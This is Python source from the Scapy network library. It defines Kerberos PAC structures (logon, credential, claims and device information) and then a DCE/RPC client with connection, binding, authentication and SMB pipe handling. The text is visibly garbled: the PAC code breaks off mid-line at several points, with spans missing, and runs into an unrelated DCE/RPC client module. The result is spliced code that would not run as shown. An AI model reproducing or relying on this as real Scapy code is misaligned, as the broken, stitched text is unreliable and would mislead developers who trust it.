GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ [MS-PAC] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962 Up to date with version: 23.0 """ import struct from scapy.config import conf from scapy.error import log_runtime from scapy.fields import ( ConditionalField, FieldLenField, FieldListField, FlagsField, LEIntEnumField, LEIntField, LELongField, LEShortField, MultipleTypeField, PacketField, PacketListField, StrField, StrFieldUtf16, StrFixedLenField, StrLenFieldUtf16, UTCTimeField, UUIDField, XStrField, XStrLenField, ) from scapy.packet import Packet from scapy.layers.kerberos import ( _AUTHORIZATIONDATA_VALUES, _KRB_S_TYPES, ) from scapy.layers.dcerpc import ( NDRByteField, NDRConfFieldListField, NDRConfPacketListField, NDRConfStrLenField, NDRConfVarStrLenFieldUtf16, NDRConfVarStrNullFieldUtf16, NDRConformantString, NDRFieldListField, NDRFullEmbPointerField, NDRInt3264EnumField, NDRIntField, NDRLongField, NDRPacket, NDRPacketField, NDRSerialization1Header, NDRSerializeType1PacketLenField, NDRShortField, NDRSignedLongField, NDRUnionField, _NDRConfField, ndr_deserialize1, ndr_serialize1, ) from scapy.layers.ntlm import ( _NTLMPayloadField, _NTLMPayloadPacket, ) from scapy.layers.windows.security import WINNT_SID # sect 2.4 class PAC_INFO_BUFFER(Packet): fields_desc = [ LEIntEnumField( "ulType", 0x00000001, { 0x00000001: "Logon information", 0x00000002: "Credentials information", 0x00000006: "Server Signature", 0x00000007: "KDC Signature", 0x0000000A: "Client name and ticket information", 0x0000000B: "Constrained delegation information", 0x0000000C: "UPN and DNS information", 0x0000000D: "Client claims information", 0x0000000E: "Device information", 0x0000000F: "Device claims information", 0x00000010: "Ticket Signature", 0x00000011: "PAC Attributes", 0x00000012: "PAC Requestor", 0x00000013: "Extended KDC Signature", }, ), LEIntField("cbBufferSize", None), LELongField("Offset", None), ] def default_payload_class(self, payload): return conf.padding_layer _PACTYPES = {} # sect 2.5 - NDR PACKETS class RPC_UNICODE_STRING(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRShortField("Length", None, size_of="Buffer", adjust=lambda _, x: (x * 2)), NDRShortField( "MaximumLength", None, size_of="Buffer", adjust=lambda _, x: (x * 2) ), NDRFullEmbPointerField( NDRConfVarStrLenFieldUtf16( "Buffer", "", size_is=lambda pkt: (pkt.MaximumLength // 2), length_is=lambda pkt: (pkt.Length // 2), ), ), ] class FILETIME(NDRPacket): ALIGNMENT = (4, 4) fields_desc = [NDRIntField("dwLowDateTime", 0), NDRIntField("dwHighDateTime", 0)] class GROUP_MEMBERSHIP(NDRPacket): ALIGNMENT = (4, 4) fields_desc = [NDRIntField("RelativeId", 0), NDRIntField("Attributes", 0)] class CYPHER_BLOCK(NDRPacket): fields_desc = [StrFixedLenField("data", "", length=8)] class USER_SESSION_KEY(NDRPacket): fields_desc = [PacketListField("data", [], CYPHER_BLOCK, count_from=lambda _: 2)] class RPC_SID_IDENTIFIER_AUTHORITY(NDRPacket): fields_desc = [StrFixedLenField("Value", "", length=6)] class SID(NDRPacket): ALIGNMENT = (4, 8) DEPORTED_CONFORMANTS = ["SubAuthority"] fields_desc = [ NDRByteField("Revision", 0), NDRByteField("SubAuthorityCount", None, size_of="SubAuthority"), NDRPacketField( "IdentifierAuthority", RPC_SID_IDENTIFIER_AUTHORITY(), RPC_SID_IDENTIFIER_AUTHORITY, ), NDRConfFieldListField( "SubAuthority", [], NDRIntField("", 0), size_is=lambda pkt: pkt.SubAuthorityCount, conformant_in_struct=True, ), ] def summary(self): return WINNT_SID.summary(self) class KERB_SID_AND_ATTRIBUTES(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField(NDRPacketField("Sid", SID(), SID)), NDRIntField("Attributes", 0), ] class KERB_VALIDATION_INFO(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRPacketField("LogonTime", FILETIME(), FILETIME), NDRPacketField("LogoffTime", FILETIME(), FILETIME), NDRPacketField("KickOffTime", FILETIME(), FILETIME), NDRPacketField("PasswordLastSet", FILETIME(), FILETIME), NDRPacketField("PasswordCanChange", FILETIME(), FILETIME), NDRPacketField("PasswordMustChange", FILETIME(), FILETIME), NDRPacketField("EffectiveName", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRPacketField("FullName", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRPacketField("LogonScript", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRPacketField("ProfilePath", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRPacketField("HomeDirectory", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRPacketField("HomeDirectoryDrive", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRShortField("LogonCount", 0), NDRShortField("BadPasswordCount", 0), NDRIntField("UserId", 0), NDRIntField("PrimaryGroupId", 0), NDRIntField("GroupCount", None, size_of="GroupIds"), NDRFullEmbPointerField( NDRConfPacketListField( "GroupIds", [GROUP_MEMBERSHIP()], GROUP_MEMBERSHIP, size_is=lambda pkt: pkt.GroupCount, ), ), NDRIntField("UserFlags", 0), NDRPacketField("UserSessionKey", USER_SESSION_KEY(), USER_SESSION_KEY), NDRPacketField("LogonServer", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRPacketField("LogonDomainName", RPC_UNICODE_STRING(), RPC_UNICODE_STRING), NDRFullEmbPointerField(NDRPacketField("LogonDomainId", SID(), SID)), NDRFieldListField("Reserved1", [], NDRIntField("", 0), length_is=lambda _: 2), NDRIntField("UserAccountControl", 0), NDRFieldListField("Reserved3", [], NDRIntField("", 0), length_is=lambda _: 7), NDRIntField("SidCount", None, size_of="ExtraSids"), NDRFullEmbPointerField( NDRConfPacketListField( "ExtraSids", [KERB_SID_AND_ATTRIBUTES()], KERB_SID_AND_ATTRIBUTES, size_is=lambda pkt: pkt.SidCount, ), ), NDRFullEmbPointerField( NDRPacketField("ResourceGroupDomainSid", SID(), SID), ), NDRIntField("ResourceGroupCount", None, size_of="ResourceGroupIds"), NDRFullEmbPointerField( NDRConfPacketListField( "ResourceGroupIds", [GROUP_MEMBERSHIP()], GROUP_MEMBERSHIP, size_is=lambda pkt: pkt.ResourceGroupCount, ), ), ] _PACTYPES[1] = KERB_VALIDATION_INFO # sect 2.6 class PAC_CREDENTIAL_INFO(Packet): fields_desc = [ LEIntField("Version", 0), LEIntEnumField( "EncryptionType", 1, { 0x00000001: "DES-CBC-CRC", 0x00000003: "DES-CBC-MD5", 0x00000011: "AES128_CTS_HMAC_SHA1_96", 0x00000012: "AES256_CTS_HMAC_SHA1_96", 0x00000017: "RC4-HMAC", }, ), XStrField("SerializedData", b""), ] _PACTYPES[2] = PAC_CREDENTIAL_INFO # sect 2.7 class PAC_CLIENT_INFO(Packet): fields_desc = [ UTCTimeField( "ClientId", None, fmt=" bytes offset = 12 fields = { "Upn": 0, "DnsDomainName": 4, } if self.Flags.S: offset = 20 fields["SamName"] = 12 fields["Sid"] = 16 return ( _pac_post_build( self, pkt, offset, fields, ) + pay ) _PACTYPES[0xC] = UPN_DNS_INFO # sect 2.11 - NDR PACKETS try: from enum import IntEnum except ImportError: IntEnum = object class CLAIM_TYPE(IntEnum): CLAIM_TYPE_INT64 = 1 CLAIM_TYPE_UINT64 = 2 CLAIM_TYPE_STRING = 3 CLAIM_TYPE_BOOLEAN = 6 class CLAIMS_SOURCE_TYPE(IntEnum): CLAIMS_SOURCE_TYPE_AD = 1 CLAIMS_SOURCE_TYPE_CERTIFICATE = 2 class CLAIMS_COMPRESSION_FORMAT(IntEnum): COMPRESSION_FORMAT_NONE = 0 COMPRESSION_FORMAT_LZNT1 = 2 COMPRESSION_FORMAT_XPRESS = 3 COMPRESSION_FORMAT_XPRESS_HUFF = 4 class CLAIM_ENTRY_sub0(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("ValueCount", None, size_of="Int64Values"), NDRFullEmbPointerField( NDRConfFieldListField( "Int64Values", [], NDRSignedLongField, size_is=lambda pkt: pkt.ValueCount, ), ), ] class CLAIM_ENTRY_sub1(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("ValueCount", None, size_of="Uint64Values"), NDRFullEmbPointerField( NDRConfFieldListField( "Uint64Values", [], NDRLongField, size_is=lambda pkt: pkt.ValueCount ), ), ] class CLAIM_ENTRY_sub2(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("ValueCount", None, size_of="StringValues"), NDRFullEmbPointerField( NDRConfFieldListField( "StringValues", [], NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("StringVal", ""), ), size_is=lambda pkt: pkt.ValueCount, ), ), ] class CLAIM_ENTRY_sub3(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("ValueCount", None, size_of="BooleanValues"), NDRFullEmbPointerField( NDRConfFieldListField( "BooleanValues", [], NDRLongField, size_is=lambda pkt: pkt.ValueCount ), ), ] class CLAIM_ENTRY(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16("Id", "")), NDRInt3264EnumField("Type", 0, CLAIM_TYPE), NDRUnionField( [ ( NDRPacketField("Values", CLAIM_ENTRY_sub0(), CLAIM_ENTRY_sub0), ( ( lambda pkt: getattr(pkt, "Type", None) == CLAIM_TYPE.CLAIM_TYPE_INT64 ), (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_INT64), ), ), ( NDRPacketField("Values", CLAIM_ENTRY_sub1(), CLAIM_ENTRY_sub1), ( ( lambda pkt: getattr(pkt, "Type", None) == CLAIM_TYPE.CLAIM_TYPE_UINT64 ), (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_UINT64), ), ), ( NDRPacketField("Values", CLAIM_ENTRY_sub2(), CLAIM_ENTRY_sub2), ( ( lambda pkt: getattr(pkt, "Type", None) == CLAIM_TYPE.CLAIM_TYPE_STRING ), (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_STRING), ), ), ( NDRPacketField("Values", CLAIM_ENTRY_sub3(), CLAIM_ENTRY_sub3), ( ( lambda pkt: getattr(pkt, "Type", None) == CLAIM_TYPE.CLAIM_TYPE_BOOLEAN ), (lambda _, val: val.tag == CLAIM_TYPE.CLAIM_TYPE_BOOLEAN), ), ), ], StrFixedLenField("Values", "", length=0), align=(2, 8), switch_fmt=("H", "I"), ), ] class CLAIMS_ARRAY(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRInt3264EnumField("usClaimsSourceType", 0, CLAIMS_SOURCE_TYPE), NDRIntField("ulClaimsCount", None, size_of="ClaimEntries"), NDRFullEmbPointerField( NDRConfPacketListField( "ClaimEntries", [CLAIM_ENTRY()], CLAIM_ENTRY, size_is=lambda pkt: pkt.ulClaimsCount, ), ), ] class CLAIMS_SET(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("ulClaimsArrayCount", None, size_of="ClaimsArrays"), NDRFullEmbPointerField( NDRConfPacketListField( "ClaimsArrays", [CLAIMS_ARRAY()], CLAIMS_ARRAY, size_is=lambda pkt: pkt.ulClaimsArrayCount, ), ), NDRShortField("usReservedType", 0), NDRIntField("ulReservedFieldSize", None, size_of="ReservedField"), NDRFullEmbPointerField( NDRConfStrLenField( "ReservedField", "", size_is=lambda pkt: pkt.ulReservedFieldSize ), ), ] class _CLAIMSClaimSet(_NDRConfField, NDRSerializeType1PacketLenField): CONFORMANT_STRING = True LENGTH_FROM = True def m2i(self, pkt, s): if pkt.usCompressionFormat == CLAIMS_COMPRESSION_FORMAT.COMPRESSION_FORMAT_NONE: return ndr_deserialize1(s, CLAIMS_SET, ptr_pack=True) else: # TODO: There are 3 funky compression formats... see sect 2.2.18.4 return NDRConformantString(value=s) def i2m(self, pkt, val): val = val[0] if pkt.usCompressionFormat == CLAIMS_COMPRESSION_FORMAT.COMPRESSION_FORMAT_NONE: return ndr_serialize1(val, ptr_pack=True) else: # funky return bytes(val) def valueof(self, pkt, x): if pkt.usCompressionFormat == CLAIMS_COMPRESSION_FORMAT.COMPRESSION_FORMAT_NONE: return self._subval(x)[0] else: return x class CLAIMS_SET_METADATA(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("ulClaimsSetSize", None, size_of="ClaimsSet"), NDRFullEmbPointerField( _CLAIMSClaimSet( "ClaimsSet", None, None, size_is=lambda pkt: pkt.ulClaimsSetSize ), ), NDRInt3264EnumField( "usCompressionFormat", 0, CLAIMS_COMPRESSION_FORMAT, ), # this size_of is technically wrong. we just assume it's uncompressed... NDRIntField("ulUncompressedClaimsSetSize", None, size_of="ClaimsSet"), NDRShortField("usReservedType", 0), NDRIntField("ulReservedFieldSize", None, size_of="ReservedField"), NDRFullEmbPointerField( NDRConfStrLenField( "ReservedField", "", size_is=lambda pkt: pkt.ulReservedFieldSize ), ), ] class PAC_CLIENT_CLAIMS_INFO(NDRPacket): fields_desc = [NDRPacketField("Claims", CLAIMS_SET_METADATA(), CLAIMS_SET_METADATA)] if IntEnum != object: # If not available, ignore. I can't be bothered _PACTYPES[0xD] = PAC_CLIENT_CLAIMS_INFO # sect 2.12 - NDR PACKETS class DOMAIN_GROUP_MEMBERSHIP(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField(NDRPacketField("DomainId", SID(), SID)), NDRIntField("GroupCount", 0), NDRFullEmbPointerField( NDRConfPacketListField( "GroupIds", [GROUP_MEMBERSHIP()], GROUP_MEMBERSHIP, size_is=lambda pkt: pkt.GroupCount, ), ), ] class PAC_DEVICE_INFO(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("UserId", 0), NDRIntField("PrimaryGroupId", 0), NDRFullEmbPointerField( NDRPacketField("AccountDomainId", SID(), SID), ), NDRIntField("AccountGroupCount", 0), NDRFullEmbPointerField( NDRConfPacketListField( "AccountGroupIds", [GROUP_MEMBERSHIP()], GROUP_MEMBERSHIP, size_is=lambda pkt: pkt.AccountGroupCount, ), ), NDRIntField("SidCount", 0), NDRFullEmbPointerField( NDRConfPacketListField( "ExtraSids", [KERB_SID_AND_ATTRIBUTES()], KERB_SID_AND_ATTRIBUTES, size_is=lambda pkt: pkt.SidCount, ), ), NDRIntField("DomainGroupCount", 0), NDRFullEmbPointerField( NDRConfPacketListField( "DomainGroup", [DOMAIN_GROUP_MEMBERSHIP()], DOMAIN_GROUP_MEMBERSHIP, size_is=lambda pkt: pkt.DomainGroupCount, ), ), ] _PACTYPES[0xE] = PAC_DEVICE_INFO # sect 2.14 - PAC_ATTRIBUTES_INFO class PAC_ATTRIBUTES_INFO(Packet): fields_desc = [ LEIntField("FlagsLength", 2), FieldListField( "Flags", ["PAC_WAS_REQUESTED"], FlagsField( "", 0, -32, { 0x00000001: "PAC_WAS_REQUESTED", 0x00000002: "PAC_WAS_GIVEN_IMPLICITLY", }, ), count_from=lambda pkt: (pkt.FlagsLength + 7) // 8, ), ] _PACTYPES[0x11] = PAC_ATTRIBUTES_INFO # sect 2.15 - PAC_REQUESTOR_SID class PAC_REQUESTOR_SID(Packet): fields_desc = [ PacketField("Sid", WINNT_SID(), WINNT_SID), ] _PACTYPES[0x12] = PAC_REQUESTOR_SID # sect 2.16 - PAC_REQUESTOR_GUID class PAC_REQUESTOR_GUID(Packet): fields_desc = [ UUIDField("Guid", None), ] _PACTYPES[0x14] = PAC_REQUESTOR_GUID # sect 2.3 class _PACTYPEBuffers(PacketListField): def addfield(self, pkt, s, val): # we use this field to set Offset and cbBufferSize res = b"" if len(val) != len(pkt.Payloads): log_runtime.warning("Size of 'Buffers' does not match size of 'Payloads' !") return super(_PACTYPEBuffers, self).addfield(pkt, s, val) offset = 16 * len(pkt.Payloads) + 8 for i, v in enumerate(val): x = self.i2m(pkt, v) pay = pkt.Payloads[i] if isinstance(pay, NDRPacket) or isinstance(pay, NDRSerialization1Header): lgth = len(ndr_serialize1(pay, ptr_pack=True)) else: lgth = len(pay) if v.cbBufferSize is None: x = x[:4] + struct.pack(" DceRpcSession: try: return self.sock.session except AttributeError: raise ValueError("Client is not connected ! Please connect()") def connect( self, host, endpoint: Union[int, str] = None, port: Optional[int] = None, interface=None, timeout=5, smb_kwargs={}, ): """ Initiate a connection. :param host: the host to connect to :param endpoint: (optional) the port/smb pipe to connect to :param interface: (optional) if endpoint isn't provided, uses the endpoint mapper to find the appropriate endpoint for that interface. :param timeout: (optional) the connection timeout (default 5) :param port: (optional) the port to connect to. (useful for SMB) """ smb_kwargs.setdefault("HOST", host) if endpoint is None and interface is not None: # Figure out the endpoint using the endpoint mapper if self.transport == DCERPC_Transport.NCACN_IP_TCP and port is None: # IP/TCP # ask the endpoint mapper (port 135) for the IP:PORT endpoints = get_endpoint( host, interface, ndrendian=self.ndrendian, verb=self.verb, ) if endpoints: _, endpoint = endpoints[0] else: raise ValueError( "Could not find an available endpoint for that interface !" ) elif self.transport == DCERPC_Transport.NCACN_NP: # SMB # ask the endpoint mapper (over SMB) for the namedpipe endpoints = get_endpoint( host, interface, transport=self.transport, ndrendian=self.ndrendian, verb=self.verb, ssp=self.ssp, smb_kwargs=smb_kwargs, ) if endpoints: endpoint = endpoints[0].lstrip("\\pipe\\") else: return # Assign the default port if no port is provided if port is None: if self.transport == DCERPC_Transport.NCACN_IP_TCP: # IP/TCP port = endpoint or 135 elif self.transport == DCERPC_Transport.NCACN_NP: # SMB port = 445 else: raise ValueError( "Can't guess the port for transport: %s" % self.transport ) # Start socket and connect self.host = host self.port = port sock = socket.socket() sock.settimeout(timeout) if self.verb: print( "\u2503 Connecting to %s on port %s via %s..." % (host, port, repr(self.transport)) ) sock.connect((host, port)) if self.verb: print( conf.color_theme.green( "\u2514 Connected from %s" % repr(sock.getsockname()) ) ) if self.transport == DCERPC_Transport.NCACN_NP: # SMB # We pack the socket into a SMB_RPC_SOCKET sock = self.smbrpcsock = SMB_RPC_SOCKET.from_tcpsock( sock, ssp=self.ssp, **smb_kwargs ) # If the endpoint is provided, connect to it. if endpoint is not None: self.open_smbpipe(endpoint) self.sock = DceRpcSocket(sock, DceRpc5, **self.dcesockargs) elif self.transport == DCERPC_Transport.NCACN_IP_TCP: self.sock = DceRpcSocket( sock, DceRpc5, ssp=self.ssp, auth_level=self.auth_level, **self.dcesockargs, ) def close(self): """ Close the DCE/RPC client. """ if self.verb: print("X Connection closed\n") self.sock.close() def sr1(self, pkt, **kwargs): """ Send/Receive a DCE/RPC message. The DCE/RPC header is added automatically. """ self.call_ids[self.session.assoc_group_id] += 1 pkt = ( DceRpc5( call_id=self.call_ids[self.session.assoc_group_id], pfc_flags="PFC_FIRST_FRAG+PFC_LAST_FRAG", endian=self.ndrendian, auth_verifier=kwargs.pop("auth_verifier", None), vt_trailer=kwargs.pop("vt_trailer", None), ) / pkt ) if "pfc_flags" in kwargs: pkt.pfc_flags = kwargs.pop("pfc_flags") if "objectuuid" in kwargs: pkt.pfc_flags += "PFC_OBJECT_UUID" pkt.object = kwargs.pop("objectuuid") return self.sock.sr1(pkt, verbose=0, **kwargs) def send(self, pkt, **kwargs): """ Send a DCE/RPC message. The DCE/RPC header is added automatically. """ self.call_ids[self.session.assoc_group_id] += 1 pkt = ( DceRpc5( call_id=self.call_ids[self.session.assoc_group_id], pfc_flags="PFC_FIRST_FRAG+PFC_LAST_FRAG", endian=self.ndrendian, auth_verifier=kwargs.pop("auth_verifier", None), vt_trailer=kwargs.pop("vt_trailer", None), ) / pkt ) if "pfc_flags" in kwargs: pkt.pfc_flags = kwargs.pop("pfc_flags") if "objectuuid" in kwargs: pkt.pfc_flags += "PFC_OBJECT_UUID" pkt.object = kwargs.pop("objectuuid") return self.sock.send(pkt, **kwargs) def sr1_req(self, pkt, **kwargs): """ Send/Receive a DCE/RPC request. :param pkt: the inner DCE/RPC message, without any header. """ if self.verb: if "objectuuid" in kwargs: # COM print( conf.color_theme.opening( ">> REQUEST (COM): %s" % pkt.payload.__class__.__name__ ) ) else: print( conf.color_theme.opening(">> REQUEST: %s" % pkt.__class__.__name__) ) # Add sectrailer if first time talking on this interface vt_trailer = b"" if ( self._first_time_on_interface and self.transport != DCERPC_Transport.NCACN_NP ): # In the first request after a bind, Windows sends a trailer to verify # that the negotiated transfer/interface wasn't altered. self._first_time_on_interface = False vt_trailer = DceRpcSecVT( commands=[ DceRpcSecVTCommand(SEC_VT_COMMAND_END=1) / DceRpcSecVTPcontext( InterfaceId=self.session.rpc_bind_interface.uuid, Version=self.session.rpc_bind_interface.if_version, TransferSyntax="NDR64" if self.ndr64 else "NDR 2.0", TransferVersion=1 if self.ndr64 else 2, ) ] ) # Optional: force opnum opnum = {} if "opnum" in kwargs: opnum["opnum"] = kwargs.pop("opnum") # Set NDR64 pkt.ndr64 = self.ndr64 # Send/receive resp = self.sr1( DceRpc5Request( cont_id=self.session.cont_id, alloc_hint=len(pkt) + len(vt_trailer), **opnum, ) / pkt, vt_trailer=vt_trailer, **kwargs, ) # Parse result result = None if DceRpc5Response in resp: if self.verb: if "objectuuid" in kwargs: # COM print( conf.color_theme.success( "<< RESPONSE (COM): %s" % (resp[DceRpc5Response].payload.payload.__class__.__name__) ) ) else: print( conf.color_theme.success( "<< RESPONSE: %s" % (resp[DceRpc5Response].payload.__class__.__name__) ) ) result = resp[DceRpc5Response].payload elif DceRpc5Fault in resp: if self.verb: print(conf.color_theme.success("<< FAULT")) # If [MS-EERR] is loaded, show the extended info if resp[DceRpc5Fault].payload and not isinstance( resp[DceRpc5Fault].payload, conf.raw_layer ): resp[DceRpc5Fault].payload.show() result = resp if self.verb and getattr(resp, "status", 0) != 0: if resp.status in _DCE_RPC_ERROR_CODES: print(conf.color_theme.fail(f"! {_DCE_RPC_ERROR_CODES[resp.status]}")) elif resp.status in STATUS_ERREF: print(conf.color_theme.fail(f"! {STATUS_ERREF[resp.status]}")) else: print(conf.color_theme.fail("! Failure")) resp.show() return result def _get_bind_context(self, interface): """ Internal: get the bind DCE/RPC context. """ if interface in self.contexts: # We have already found acceptable contexts for this interface, # reuse that. return self.contexts[interface] # NDR 2.0 contexts = [ DceRpc5Context( cont_id=self.next_cont_id, abstract_syntax=DceRpc5AbstractSyntax( if_uuid=interface.uuid, if_version=interface.if_version, ), transfer_syntaxes=[ DceRpc5TransferSyntax( # NDR 2.0 32-bit if_uuid="NDR 2.0", if_version=2, ) ], ), ] self.next_cont_id += 1 # NDR64 if self.ndr64: contexts.append( DceRpc5Context( cont_id=self.next_cont_id, abstract_syntax=DceRpc5AbstractSyntax( if_uuid=interface.uuid, if_version=interface.if_version, ), transfer_syntaxes=[ DceRpc5TransferSyntax( # NDR64 if_uuid="NDR64", if_version=1, ) ], ) ) self.next_cont_id += 1 # BindTimeFeatureNegotiationBitmask contexts.append( DceRpc5Context( cont_id=self.next_cont_id, abstract_syntax=DceRpc5AbstractSyntax( if_uuid=interface.uuid, if_version=interface.if_version, ), transfer_syntaxes=[ DceRpc5TransferSyntax( if_uuid=uuid.UUID("6cb71c2c-9812-4540-0300-000000000000"), if_version=1, ) ], ) ) self.next_cont_id += 1 # Store contexts for this interface self.contexts[interface] = contexts return contexts def _check_bind_context(self, interface, contexts) -> bool: """ Internal: check the answer DCE/RPC bind context, and update them. """ for i, ctx in enumerate(contexts): if ctx.result == 0: # Context was accepted. Remove all others from cache if len(self.contexts[interface]) != 1: self.contexts[interface] = [self.contexts[interface][i]] return True return False def _bind( self, interface: Union[DceRpcInterface, ComInterface], reqcls, respcls, target_name: Optional[str] = None, ) -> bool: """ Internal: used to send a bind/alter request """ # Build a security context: [MS-RPCE] 3.3.1.5.2 if self.verb: print( conf.color_theme.opening( ">> %s on %s" % (reqcls.__name__, interface) + (" (with %s)" % self.ssp.__class__.__name__ if self.ssp else "") ) ) # Do we need an authenticated bind if not self.ssp or ( self.sspcontext is not None or self.transport == DCERPC_Transport.NCACN_NP and self.auth_level < DCE_C_AUTHN_LEVEL.PKT_INTEGRITY ): # NCACN_NP = SMB without INTEGRITY/PRIVACY does not bind the RPC securely, # again as it has already authenticated during the SMB Session Setup resp = self.sr1( reqcls(context_elem=self._get_bind_context(interface)), auth_verifier=None, ) status = GSS_S_COMPLETE else: # Perform authentication self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, req_flags=( # SSPs need to be instantiated with some special flags # for DCE/RPC usages. GSS_C_FLAGS.GSS_C_DCE_STYLE | GSS_C_FLAGS.GSS_C_REPLAY_FLAG | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | ( GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.auth_level >= DCE_C_AUTHN_LEVEL.PKT_INTEGRITY else 0 ) | ( GSS_C_FLAGS.GSS_C_CONF_FLAG if self.auth_level >= DCE_C_AUTHN_LEVEL.PKT_PRIVACY else 0 ) | ( GSS_C_FLAGS.GSS_C_IDENTIFY_FLAG if self.impersonation_type <= RPC_C_IMP_LEVEL.IDENTIFY else 0 ) | ( GSS_C_FLAGS.GSS_C_DELEG_FLAG if self.impersonation_type == RPC_C_IMP_LEVEL.DELEGATE else 0 ) ), target_name=target_name or ("host/" + self.host), ) if status not in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]: # Authentication failed. self.sspcontext.clifailure() return False resp = self.sr1( reqcls(context_elem=self._get_bind_context(interface)), auth_verifier=( None if not self.sspcontext else CommonAuthVerifier( auth_type=self.ssp.auth_type, auth_level=self.auth_level, auth_context_id=self.session.auth_context_id, auth_value=token, ) ), pfc_flags=( "PFC_FIRST_FRAG+PFC_LAST_FRAG" + ( # If the SSP supports "Header Signing", advertise it "+PFC_SUPPORT_HEADER_SIGN" if self.ssp is not None and self.session.support_header_signing else "" ) ), ) # Check that the answer looks valid and contexts were accepted if respcls not in resp or not self._check_bind_context( interface, resp.results ): token = None status = GSS_S_FAILURE else: # Call the underlying SSP self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, input_token=resp.auth_verifier.auth_value, target_name=target_name or ("host/" + self.host), ) if status in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]: # Authentication should continue, in two ways: # - through DceRpc5Auth3 (e.g. NTLM) # - through DceRpc5AlterContext (e.g. Kerberos) if token and self.ssp.LegsAmount(self.sspcontext) % 2 == 1: # AUTH 3 for certain SSPs (e.g. NTLM) # "The server MUST NOT respond to an rpc_auth_3 PDU" self.send( DceRpc5Auth3(), auth_verifier=CommonAuthVerifier( auth_type=self.ssp.auth_type, auth_level=self.auth_level, auth_context_id=self.session.auth_context_id, auth_value=token, ), ) status = GSS_S_COMPLETE else: while token: respcls = DceRpc5AlterContextResp resp = self.sr1( DceRpc5AlterContext( context_elem=self._get_bind_context(interface) ), auth_verifier=CommonAuthVerifier( auth_type=self.ssp.auth_type, auth_level=self.auth_level, auth_context_id=self.session.auth_context_id, auth_value=token, ), ) if respcls not in resp: status = GSS_S_FAILURE break if resp.auth_verifier is None: status = GSS_S_COMPLETE break self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, input_token=resp.auth_verifier.auth_value, target_name=target_name or ("host/" + self.host), ) else: log_runtime.error("GSS_Init_sec_context failed with %s !" % status) # Check context acceptance if ( status == GSS_S_COMPLETE and respcls in resp and self._check_bind_context(interface, resp.results) ): port = resp.sec_addr.port_spec.decode() ndr = self.session.ndr64 and "NDR64" or "NDR32" self.ndr64 = self.session.ndr64 if self.verb: print( conf.color_theme.success( f"<< {respcls.__name__} port '{port}' using {ndr}" ) ) self.session.sspcontext = self.sspcontext self._first_time_on_interface = True return True else: if self.verb: if DceRpc5BindNak in resp: err_msg = resp.sprintf( "reject_reason: %DceRpc5BindNak.provider_reject_reason%" ) print(conf.color_theme.fail("! Bind_nak (%s)" % err_msg)) if DceRpc5BindNak in resp: if resp[DceRpc5BindNak].payload and not isinstance( resp[DceRpc5BindNak].payload, conf.raw_layer ): resp[DceRpc5BindNak].payload.show() elif DceRpc5Fault in resp: if getattr(resp, "status", 0) != 0: if resp.status in _DCE_RPC_ERROR_CODES: print( conf.color_theme.fail( f"! {_DCE_RPC_ERROR_CODES[resp.status]}" ) ) elif resp.status in STATUS_ERREF: print( conf.color_theme.fail(f"! {STATUS_ERREF[resp.status]}") ) else: print(conf.color_theme.fail("! Failure")) resp.show() if resp[DceRpc5Fault].payload and not isinstance( resp[DceRpc5Fault].payload, conf.raw_layer ): resp[DceRpc5Fault].payload.show() else: print(conf.color_theme.fail("! Failure")) resp.show() return False def bind( self, interface: Union[DceRpcInterface, ComInterface], target_name: Optional[str] = None, ) -> bool: """ Bind the client to an interface :param interface: the DceRpcInterface object """ return self._bind( interface, DceRpc5Bind, DceRpc5BindAck, target_name=target_name, ) def alter_context( self, interface: Union[DceRpcInterface, ComInterface], target_name: Optional[str] = None, ) -> bool: """ Alter context: post-bind context negotiation :param interface: the DceRpcInterface object """ return self._bind( interface, DceRpc5AlterContext, DceRpc5AlterContextResp, target_name=target_name, ) def bind_or_alter( self, interface: Union[DceRpcInterface, ComInterface], target_name: Optional[str] = None, ) -> bool: """ Bind the client to an interface or alter the context if already bound :param interface: the DceRpcInterface object """ if not self.session.rpc_bind_interface: # No interface is bound return self.bind(interface, target_name=target_name) elif self.session.rpc_bind_interface != interface: # An interface is already bound return self.alter_context(interface, target_name=target_name) return True def open_smbpipe(self, name: str): """ Open a certain filehandle with the SMB automaton. :param name: the name of the pipe """ self.ipc_tid = self.smbrpcsock.tree_connect("IPC$") self.smbrpcsock.open_pipe(name) def close_smbpipe(self): """ Close the previously opened pipe """ 